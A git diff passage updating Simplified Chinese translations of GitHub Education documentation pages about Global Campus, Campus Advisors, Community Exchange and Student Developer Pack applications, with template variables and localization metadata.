b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md index a712697a63..9bd73271b9 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md @@ -1,6 +1,6 @@ --- -title: About GitHub Global Campus for students -intro: '{% data variables.product.prodname_education %} offers students real-world experience with free access to various developer tools from {% data variables.product.prodname_dotcom %}''s partners.' +title: 关于学生版 GitHub Global Campus +intro: '{% data variables.product.prodname_education %} 让学生免费使用 {% data variables.product.prodname_dotcom %} 合作伙伴的各种开发工具,为他们提供真实的体验。' redirect_from: - /education/teach-and-learn-with-github-education/about-github-education-for-students - /github/teaching-and-learning-with-github-education/about-github-education-for-students @@ -10,40 +10,46 @@ redirect_from: versions: fpt: '*' shortTitle: For students +ms.openlocfilehash: b5d1d75e8c93bc147bc5185106ecef8c00a67c05 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193135' --- -Using {% data variables.product.prodname_dotcom %} for your school projects is a practical way to collaborate with others and build a portfolio that showcases real-world experience. +将 {% data variables.product.prodname_dotcom %} 用于学校项目是一种与别人协作的实用方式,可创建展示真实世界的作品集。 -Everyone with a {% data variables.product.prodname_dotcom %} account can collaborate in unlimited public and private repositories with {% data variables.product.prodname_free_user %}. As a student, you can also apply for {% data variables.product.prodname_education %} student benefits. Your {% data variables.product.prodname_education %} student benefits and resources are all included in {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits, all in one place. For more information, see "[Apply to GitHub Global Campus as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)" and [{% data variables.product.prodname_education %}](https://education.github.com/). +拥有 {% data variables.product.prodname_dotcom %} 帐户的每个人都可通过 {% data variables.product.prodname_free_user %} 在无限的公共和私有仓库中协作。 作为学生,还可以申请 {% data variables.product.prodname_education %} 学生权益。 {% data variables.product.prodname_education %} 学生权益和资源均包含在 {% data variables.product.prodname_global_campus %} 中,这是一个可访问教育权益的一站式门户。 有关详细信息,请参阅“[以学生身份申请加入 GitHub Global Campus](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)”和 [{% data variables.product.prodname_education %}](https://education.github.com/)。 -Before applying for Global Campus, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)." +在申请 Global Campus 之前,请检查你的学习社区是否已作为 {% data variables.product.prodname_campus_program %} 学校与我们合作。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)”。 -If you're a member of a school club, a teacher can apply for {% data variables.product.prodname_global_campus %} so your team can collaborate using {% data variables.product.prodname_team %}, which allows unlimited users and private repositories, for free. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." +如果你是学校俱乐部的成员,教师可以申请 {% data variables.product.prodname_global_campus %},这样你的团队可以免费使用 {% data variables.product.prodname_team %}(允许无限的用户和专用存储库)进行协作。 有关详细信息,请参阅“[以教师身份申请加入 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)”。 -Once you are a verified {% data variables.product.prodname_global_campus %} student, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). +当你成为经过验证的 {% data variables.product.prodname_global_campus %} 学生后,可随时转到 [{% data variables.product.prodname_education %} 网站](https://education.github.com)来访问 {% data variables.product.prodname_global_campus %}。 -![{% data variables.product.prodname_global_campus %} portal for students](/assets/images/help/education/global-campus-portal-students.png) +![学生版 {% data variables.product.prodname_global_campus %} 门户](/assets/images/help/education/global-campus-portal-students.png) -## {% data variables.product.prodname_global_campus %} features for students +## 学生版 {% data variables.product.prodname_global_campus %} 功能 -{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, students can: -- Connect with a local Campus Expert. For more information on campus experts, see "[About Campus Experts](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts)." -- Explore and claim offers for free industry tools from the [Student Developer Pack](https://education.github.com/pack). -- See upcoming in-person and virtual events for students, curated by {% data variables.product.prodname_education %} and student leaders. -- View assignments from [GitHub Classroom](https://classroom.github.com/) with upcoming due dates. -- Stay in the know on what the community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. -- Discover student-created repositories from GitHub Community Exchange. For more information, see "[About GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)." +{% data variables.product.prodname_global_campus %} 是一个一站式门户,你可从中访问 {% data variables.product.prodname_education %} 权益和资源。 在 {% data variables.product.prodname_global_campus %} 门户上,学生可以执行以下操作: +- 与本地校园专家联系。 有关校园专家的详细信息,请参阅“[关于校园专家](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts)”。 +- 探索并申请[学生开发人员包](https://education.github.com/pack)中免费行业工具的优惠。 +- 查看由 {% data variables.product.prodname_education %} 和学生领袖策划的现场活动和虚拟活动。 +- 查看 [GitHub Classroom](https://classroom.github.com/) 中临近截止日期的作业。 +- 重新观看最近的 [Campus TV](https://www.twitch.tv/githubeducation) 剧集,了解社区对什么感兴趣。 Campus TV 由 {% data variables.product.prodname_dotcom %} 和学生社区领袖创建,可观看直播或按需观看。 +- 从 GitHub Community Exchange 发现学生创建的存储库。 有关详细信息,请参阅“[关于 GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)”。 -{% data variables.product.prodname_global_campus %} students also receive the following {% data variables.product.prodname_dotcom %} benefits. -- **{% data variables.product.prodname_copilot %}**: Verified students receive a free subscription for {% data variables.product.prodname_copilot %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot_for_individuals %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." -- **{% data variables.product.prodname_github_codespaces %}**: {% data reusables.education.student-codespaces-benefit %} For more information on getting started with {% data variables.product.prodname_github_codespaces %}, see "[{% data variables.product.prodname_github_codespaces %} overview](/codespaces/overview)." +{% data variables.product.prodname_global_campus %} 学生还可获得以下 {% data variables.product.prodname_dotcom %} 权益。 +- **{% data variables.product.prodname_copilot %}** :通过验证的学生可免费订阅 {% data variables.product.prodname_copilot %}。 在帐户设置中访问 {% data variables.product.prodname_copilot %} 订阅页时,将自动收到有关免费订阅的通知。 有关订阅和使用 {% data variables.product.prodname_copilot %} 的详细信息,请参阅“[管理 {% data variables.product.prodname_copilot_for_individuals %} 订阅](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription#setting-up-a-trial-of-github-copilot)”和“[关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)”。 +- **{% data variables.product.prodname_github_codespaces %}** :{% data reusables.education.student-codespaces-benefit %} 有关 {% data variables.product.prodname_github_codespaces %} 入门信息,请参阅“[{% data variables.product.prodname_github_codespaces %} 概述](/codespaces/overview)”。 {% note %} -**Note:** {% data reusables.education.note-on-student-codespaces-usage %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)." +注意:{% data reusables.education.note-on-student-codespaces-usage %} 有关详细信息,请参阅“[在 {% data variables.product.prodname_classroom %} 中使用 {% data variables.product.prodname_github_codespaces %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)”。 {% endnote %} -## Further reading +## 延伸阅读 -- "[About {% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers)" -- "[About {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)" +- [关于教师版 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers) +- [关于 {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md index 54d02697ce..ace6f1e061 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md @@ -1,6 +1,6 @@ --- -title: About GitHub Global Campus for teachers -intro: '{% data variables.product.prodname_global_campus %} offers teachers a central place to access tools and resources for working more effectively inside and outside of the classroom.' +title: 关于教师版 GitHub Global Campus +intro: '{% data variables.product.prodname_global_campus %} 为教师提供了一个访问工具和资源的中心位置,使他们能够在课堂内外更高效地工作。' redirect_from: - /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers - /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers @@ -10,28 +10,32 @@ redirect_from: versions: fpt: '*' shortTitle: For teachers +ms.openlocfilehash: 3e7dea02ec468109fbfa865f2d84224f8381cc39 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192799' --- +作为认证教育机构的教职员工,你可以申请 {% data variables.product.prodname_global_campus %},其中包括 {% data variables.product.prodname_education %} 权益和资源。 有关详细信息,请参阅“[以教师身份申请加入 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)”。 -As a faculty member at an accredited educational institution, you can apply for {% data variables.product.prodname_global_campus %}, which includes {% data variables.product.prodname_education %} benefits and resources. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." +{% data variables.product.prodname_global_campus %} 是一个门户,使 GitHub Education Community 能够在一个位置访问其教育权益。 当你成为经过验证的 {% data variables.product.prodname_global_campus %} 教师后,可随时转到 [{% data variables.product.prodname_education %} 网站](https://education.github.com)来访问 {% data variables.product.prodname_global_campus %}。 -{% data variables.product.prodname_global_campus %} is a portal that allows the GitHub Education Community to access their education benefits, all in one place. Once you are a verified {% data variables.product.prodname_global_campus %} teacher, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). +![教师版 {% data variables.product.prodname_global_campus %} 门户](/assets/images/help/education/global-campus-portal-teachers.png) -![{% data variables.product.prodname_global_campus %} portal for teachers](/assets/images/help/education/global-campus-portal-teachers.png) +在申请个人折扣之前,请检查你的学习社区是否已作为 {% data variables.product.prodname_campus_program %} 学校与我们合作。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)”。 -Before applying for an individual discount, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)." +## 教师版 {% data variables.product.prodname_global_campus %} 功能 -## {% data variables.product.prodname_global_campus %} features for teachers +{% data variables.product.prodname_global_campus %} 是一个一站式门户,你可从中访问 {% data variables.product.prodname_education %} 权益和资源。 在 {% data variables.product.prodname_global_campus %} 门户中,各级教师都可以:{% data reusables.education.apply-for-team %} + - 查看活动 [{% data variables.product.prodname_classroom %}](https://classroom.github.com) 的概览,其中包括一目了然的最近作业和课堂进度,以及指向 {% data variables.product.prodname_classroom %} 的链接。 + - 查看世界各地的同行发布的 [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) 并在其中互动来讨论技术教育的当前趋势,并查看 [{% data variables.product.prodname_education %} 博客](https://github.blog/category/education/)的最新文章。 + - 查看 {% data variables.product.prodname_education %} 和学生领袖策划的学生活动。 + - 重新观看最近的 [Campus TV](https://www.twitch.tv/githubeducation) 剧集,了解学生社区对什么感兴趣。 Campus TV 由 {% data variables.product.prodname_dotcom %} 和学生社区领袖创建,可观看直播或按需观看。 + - 请求一个 {% data variables.product.prodname_dotcom %} swag 包,其中包含为学生提供的教育材料和超值服务。 -{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, teachers of all levels can: - {% data reusables.education.apply-for-team %} - - View an overview of your active [{% data variables.product.prodname_classroom %}](https://classroom.github.com), including recent assignments and your class's progress at a glance, as well as links to {% data variables.product.prodname_classroom %}. - - View and interact with [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) posted by your peers from around the world to discuss current trends in technology education, and see the latest posts from our [{% data variables.product.prodname_education %} blog](https://github.blog/category/education/). - - See student events curated by {% data variables.product.prodname_education %} and student leaders. - - Stay in the know on what the student community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. - - Request a {% data variables.product.prodname_dotcom %} swag bag with educational materials and goodies for your students. +{% data variables.product.prodname_copilot %} 的免费订阅可供通过 {% data variables.product.prodname_education %} 验证的教师使用。 在帐户设置中访问 {% data variables.product.prodname_copilot %} 订阅页时,将自动收到有关免费订阅的通知。 有关订阅和使用 {% data variables.product.prodname_copilot %} 的详细信息,请参阅“[管理 {% data variables.product.prodname_copilot_for_individuals %} 订阅](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription#setting-up-a-trial-of-github-copilot)”和“[关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)”。 -A free subscription for {% data variables.product.prodname_copilot %} is available to verified teachers with {% data variables.product.prodname_education %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot_for_individuals %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." +## 延伸阅读 -## Further reading - -- "[About {% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)" +- [关于学生版 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md new file mode 100644 index 0000000000..cf359d2b54 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md @@ -0,0 +1,28 @@ +--- +title: 关于 Campus Advisors +intro: 作为讲师或辅导员,可在您的学校通过 Campus Advisors 培训和支持学习使用 {% data variables.product.prodname_dotcom %}。 +redirect_from: +- /education/teach-and-learn-with-github-education/about-campus-advisors +- /github/teaching-and-learning-with-github-education/about-campus-advisors +- /articles/about-campus-advisors +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors +versions: + fpt: '*' +ms.openlocfilehash: c46e787aee158c9d9fbfcf72136d34934e6c2fbf +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099805" +--- +教授、教师和辅导员可使用 Campus Advisors 在线培训掌握 Git 和 {% data variables.product.prodname_dotcom %},通过 {% data variables.product.prodname_dotcom %} 学习最佳教学方法。 有关详细信息,请参阅“[校园顾问](https://education.github.com/teachers/advisors)”。 + +{% note %} + +**注意:** 作为讲师,无法在 {% data variables.product.product_location %} 上为学生创建帐户。 学生必须在 {% data variables.product.product_location %} 上创建自己的帐户。 + +{% endnote %} + +教师可以使用 {% data variables.product.prodname_education %} 管理软件开发课程。 {% data variables.product.prodname_classroom %} 可用于发布代码、提供反馈,以及使用 {% data variables.product.product_name %} 管理课程。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_classroom %} 管理课程](/education/manage-coursework-with-github-classroom)”。 + +如果你是学生或教师并且你的学校未作为 {% data variables.product.prodname_campus_program %} 学校与 {% data variables.product.prodname_dotcom %} 合作,你也可以个人申请使用 {% data variables.product.prodname_dotcom %} 的折扣。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_dotcom %} 做功课](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork)”或“[在课堂和研究中使用 {% data variables.product.prodname_dotcom %}](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research/)”。 diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md new file mode 100644 index 0000000000..2d64af3e2e --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md @@ -0,0 +1,35 @@ +--- +title: 关于 GitHub Community Exchange +intro: 通过 {% data variables.product.prodname_community_exchange %} 学习必要的技能来参与开放源代码项目并开发自己的项目组合。 +versions: + fpt: '*' +shortTitle: About Community Exchange +ms.openlocfilehash: c8860ed621b262bb3c4aabf146d16c754ed6a971 +ms.sourcegitcommit: 6a266bff4d8c9ee928560c3af45eddd7fb4f3a0c +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/26/2022 +ms.locfileid: "147409217" +--- +## 关于 {% data variables.product.prodname_community_exchange %} + +{% data reusables.education.about-github-community-exchange-intro %} + +![Community Exchange 页面的屏幕截图](/assets/images/help/education/community-exchange-page.png) + +你可以帮助你的同行学习开放源代码技能,成为项目维护者,并在经过验证的安全社区平台中开发你的 {% data variables.product.prodname_dotcom %} 项目组合和网络。 + +借助 {% data variables.product.prodname_community_exchange %},你可以: +- 发现学生创建的存储库 +- 用星号标记感兴趣的存储库 +- 提交需要协作者的存储库 +- 提交存储库以教授新技能 +- 管理存储库的提交 + +有关详细信息,请参阅“[通过 GitHub Community Exchange 参与](/education/contribute-with-github-community-exchange)”。 + +{% data reusables.education.access-github-community-exchange %} + +## 延伸阅读 + +- [{% data variables.product.prodname_community_exchange %} 入门](/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md new file mode 100644 index 0000000000..4db87f3c26 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md @@ -0,0 +1,30 @@ +--- +title: 关于学生版 GitHub Education +intro: '{% data variables.product.prodname_education %} 让学生免费使用 {% data variables.product.prodname_dotcom %} 合作伙伴的各种开发工具,为他们提供真实的体验。' +redirect_from: +- /education/teach-and-learn-with-github-education/about-github-education-for-students +- /github/teaching-and-learning-with-github-education/about-github-education-for-students +- /articles/about-github-education-for-students +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-students +versions: + fpt: '*' +shortTitle: For students +ms.openlocfilehash: 21b7582aef5441dd0e0712a4e0df74cef57638a5 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146199992" +--- +{% data reusables.education.about-github-education-link %} + +将 {% data variables.product.prodname_dotcom %} 用于学校项目是一种与别人协作的实用方式,可创建展示真实世界的作品集。 + +拥有 {% data variables.product.prodname_dotcom %} 帐户的每个人都可通过 {% data variables.product.prodname_free_user %} 在无限的公共和私有仓库中协作。 作为学生,还可以申请 GitHub 学生权益。 有关详细信息,请参阅“[申请学生开发人员包](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)”和“[{% data variables.product.prodname_education %}](https://education.github.com/)”。 + +如果您是 FIRST 机器人俱乐部的成员,您的辅导员可以申请教育者折扣,这样您的团队可以免费使用 {% data variables.product.prodname_team %}(允许无限的用户和私有仓库) 进行协作。 有关详细信息,请参阅“[申请教师或研究人员折扣](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)”。 + +## 延伸阅读 + +- [关于教师和研究人员的 {% data variables.product.prodname_education %}](/articles/about-github-education-for-educators-and-researchers) +- [关于 {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md new file mode 100644 index 0000000000..734d7a0835 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md @@ -0,0 +1,61 @@ +--- +title: 申请学生开发包 +intro: 作为学生,可以申请 {% data variables.product.prodname_student_pack %},其中包括 {% data variables.product.prodname_dotcom %} 合作伙伴的特惠和福利。 +redirect_from: +- /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack +- /github/teaching-and-learning-with-github-education/applying-for-a-student-developer-pack +- /articles/applying-for-a-student-developer-pack +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack +versions: + fpt: '*' +shortTitle: Apply for a student pack +ms.openlocfilehash: 000d8691364c85da6b5f595e5078262b1bb6d22c +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097957" +--- +{% data reusables.education.about-github-education-link %} + +## 要求 + +要获得申请 {% data variables.product.prodname_student_pack %} 的资格,必须: +- 现正攻读学位或文凭授予课程,如高中、初中、大专、大学、自主学习或类似教育机构 +- 具有学校发放的可验证电子邮件地址,或者上传能证明您目前学生身份的文档 +- 拥有 [{% data variables.product.prodname_dotcom %} 个人帐户](/articles/signing-up-for-a-new-github-account) +- 至少年满 13 岁 + +证明您现任学生身份的文件包括具有当前注册日期的学校 ID 照片、班级课程表、成绩单以及附属关系或入学签到函。 + +在作为学生期间,可能会提示您定期重新验证目前的学业身份。 + +{% note %} + +注意:不能将学术折扣从一个帐户转移到另一个帐户。 如果有多个想要应用折扣的帐户,请考虑[合并](/articles/merging-multiple-user-accounts)个人帐户,并根据需要[重命名](/articles/changing-your-github-username)保留的帐户。 + +{% endnote %} + +有关续订 {% data variables.product.prodname_student_pack %} 的信息,请参阅“[到期和续订](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack/#expiration-and-renewals)”。 + +## 申请 {% data variables.product.prodname_student_pack %} + +{% data reusables.education.benefits-page %} +3. 在“哪一项最能描述你的学术状态?”下,选择“学生”。 + ![选择学术状态](/assets/images/help/education/academic-status-student.png) {% data reusables.education.select-email-address %} {% data reusables.education.upload-proof-status %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.submit-application %} + +## 到期和续订 + +在您的 {% data variables.product.prodname_student_pack %} 访问权限到期后,如果您仍有资格,您可以重新申请,但有些合作伙伴可能不提供续订服务。 合作伙伴的大多数计时特惠在您设置后便开始。 若要重新申请,只需返回到 https://education.github.com ,单击你的个人资料图片,然后单击“重新验证学术关系”。 + +![用于重新验证学术关系的菜单选项](/assets/images/help/education/reverify-academic-affiliation.png) + +有关详细信息,请参阅 [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack) 页。 + +若要查看你对 {% data variables.product.prodname_student_pack %} 的免费访问权限何时到期,请访问帐户的[计费设置](https://github.com/settings/billing)。 + +## 延伸阅读 + +- “[为什么我的 {% data variables.product.prodname_student_pack %} 申请未获得批准?](/articles/why-wasn-t-my-application-for-a-student-developer-pack-approved)” +- “[注册新的 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account)” +- [{% data variables.product.prodname_education %}](https://education.github.com) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md new file mode 100644 index 0000000000..c00da83080 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md @@ -0,0 +1,22 @@ +--- +title: 使用 GitHub 做功课 +intro: 作为学生,使用 {% data variables.product.prodname_dotcom %} 在您的学校项目上协作,并构建真实世界的体验。 +redirect_from: +- /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork +- /github/teaching-and-learning-with-github-education/using-github-for-your-schoolwork +- /articles/using-github-for-your-schoolwork +versions: + fpt: '*' +children: +- /about-github-education-for-students +- /apply-for-a-student-developer-pack +- /why-wasnt-my-application-for-a-student-developer-pack-approved +- /about-github-community-exchange +shortTitle: For your schoolwork +ms.openlocfilehash: 0470420ce814db28d13bac8f679359168a0c8888 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146199728" +--- diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md new file mode 100644 index 0000000000..6c591a107e --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md @@ -0,0 +1,78 @@ +--- +title: 为什么我的学生开发包申请未获得批准? +intro: 查看申请 {% data variables.product.prodname_student_pack %}未获批准的常见原因,并了解成功重新申请的窍门。 +redirect_from: +- /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved +- /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved +- /articles/why-was-my-application-for-a-student-developer-pack-denied +- /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved +- /articles/why-wasnt-my-application-for-a-student-developer-pack-approved +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved +versions: + fpt: '*' +shortTitle: Application not approved +ms.openlocfilehash: 91c8ce9342bd1485b81770381b8ea195b1fa0c13 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097956" +--- +{% tip %} + +提示:{% data reusables.education.about-github-education-link %} + +{% endtip %} + +## 学术关联文档不明确 + +如果您上传的图片中提及的日期或时间表不符合我们的资格标准,我们需要进一步证明您的学术身份。 + +如果您上传的图像没有明确地确定您当前的学术身份,或者上传的图像模糊,则我们需要您的学术身份的进一步证明。 {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## 